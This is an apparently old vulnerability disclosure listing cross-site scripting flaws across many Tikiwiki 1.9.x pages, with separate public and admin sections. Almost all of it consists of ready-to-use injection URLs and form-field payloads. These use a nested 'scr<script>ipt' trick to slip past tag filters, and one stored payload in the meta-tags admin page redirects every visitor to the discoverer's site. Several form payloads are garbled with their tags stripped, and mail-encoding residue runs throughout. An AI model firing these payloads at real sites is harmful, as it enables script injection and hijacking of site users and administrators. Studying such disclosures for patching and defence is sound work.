Multiple XSS Vulnerabilities in Tikiwiki 1.9.x=0D
 =0D
Discovered by Blwood=0D
http://www.blwood.net=0D 
 =0D
 =0D
 =0D
 =0D
** Public **=0D
 =0D
 =0D
-------------=0D
 =0D
Tiki-lastchanges=0D
 =0D
http://www.site.com/tiki-lastchanges.php?days=3&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E=0D 
 =0D
http://www.site.com/tikiwiki-1.9.3.1/tiki-lastchanges.php?days=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&offset=0&sort_mode=user_desc=0D 
 =0D
-------------=0D
=0D
Tiki-orphan_pages.php=0D
 =0D
http://www.site.com/tikiwiki-1.9.3.1/tiki-orphan_pages.php?find=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&offset=&sort_mode=flag_desc=0D 
 =0D
http://www.site.com/tikiwiki-1.9.3.1/tiki-orphan_pages.php?find=&offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=flag_desc=0D 
 =0D
-------------=0D
 =0D
Tiki-listpages.php=0D
 =0D
http://www.site.com/tiki-listpages.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=creator_desc=0D 
 =0D
http://www.site.com/tiki-listpages.php?initial=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=pageName_asc=0D 
 =0D
-------------=0D
 =0D
Tiki-remind_password.php=0D
=0D
http://tikiwiki.org/tiki-remind_password.php=0D 
=0D
">ipt>alert('Blwood')ipt>=0D
 =0D
-------------=0D
 =0D
 =0D
** Admin **=0D
 =0D
-------------=0D
 =0D
Tiki-admin_include_metatags.php=0D
 =0D
http://www.site.com/tiki-admin.php?page=metatags=0D 
 =0D
">ript>alert('Blwood')ipt>=0D
 =0D
In all pages the source will be :=0D
 =0D
" />=0D
 =0D
The code will be executed in every pages !=0D
 =0D
Exploit :=0D
 =0D
">ript>document.location='http://www.blwood.net'ipt>=0D 
 =0D
-------------=0D
 =0D
Tiki-admin_ressmodules.php=0D
 =0D
http://www.site.com/tiki-admin_rssmodules.php?offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E%3C!--&sort_mode=name_desc&rssId=1=0D 
 =0D
-------------=0D
 =0D
Tiki-syslog.php=0D
 =0D
http://www.site.com/tiki-syslog.php?find=&max=10&offset=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E%3C!--&sort_mode=loguser_desc=0D 
 =0D
http://www.site.com/tiki-syslog.php?find=&max=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E%3C!--&offset=0&sort_mode=logtype_desc=0D 
 =0D
-------------=0D
 =0D
Tiki-adminusers.php=0D
 =0D
http://www.site.com/tiki-adminusers.php?find=&search=find&numrows=%22%3E%3Cscr%3Cscript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E%3C!--&sort_mode=login_asc=0D 
 =0D
In the Form :=0D
 =0D
">ipt>alert('Blwood')ipt>=0D
 =0D
-------------=0D
 =0D
Tiki-admin_hotwords.php=0D
 =0D
">ript>alert('Blwood')ipt>=0D
=0D
-------------=0D
 =0D
Tiki-admin_modules.php=0D
 =0D
Assign new module=0D
**********************=0D
 =0D
Parameters : ">ript>alert('Blwood')ipt>=0D
 =0D
=0D
Create new user module=0D
****************************=0D
 =0D
Name : ">ript>alert('Blwood')ipt>=0D
 =0D
-------------=0D
 =0D
Tiki-admin_notifications.php=0D
 =0D
Add notification :=0D
 =0D
">ript>alert('Blwood')ipt>=0D
 =0D
http://www.site.com/tiki-admin_notifications.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=object_desc=0D 
 =0D
-------------=0D
 =0D
Tiki-admin_dsn.php=0D
 =0D
Name : ">ript>alert('Blwood')ipt>=0D
Dsn : ">ript>alert('Blwood')ipt>=0D
 =0D
-------------=0D
 =0D
Tiki-admin_content_templates.php=0D
 =0D
http://www.site.com/tiki-admin_content_templates.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=created_asc=0D 
 =0D
Create new template :=0D
 =0D
name: ">ript>alert('Blwood')ipt>=0D
 =0D
-------------=0D
 =0D
Tiki-admin_chat.php=0D
 =0D
http://www.site.com/tiki-admin_chat.php?offset=%22%3E%3Csc%3Cscript%3Eript%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E&sort_mode=name_desc&channelId=1=0D 
 =0D
-------------=0D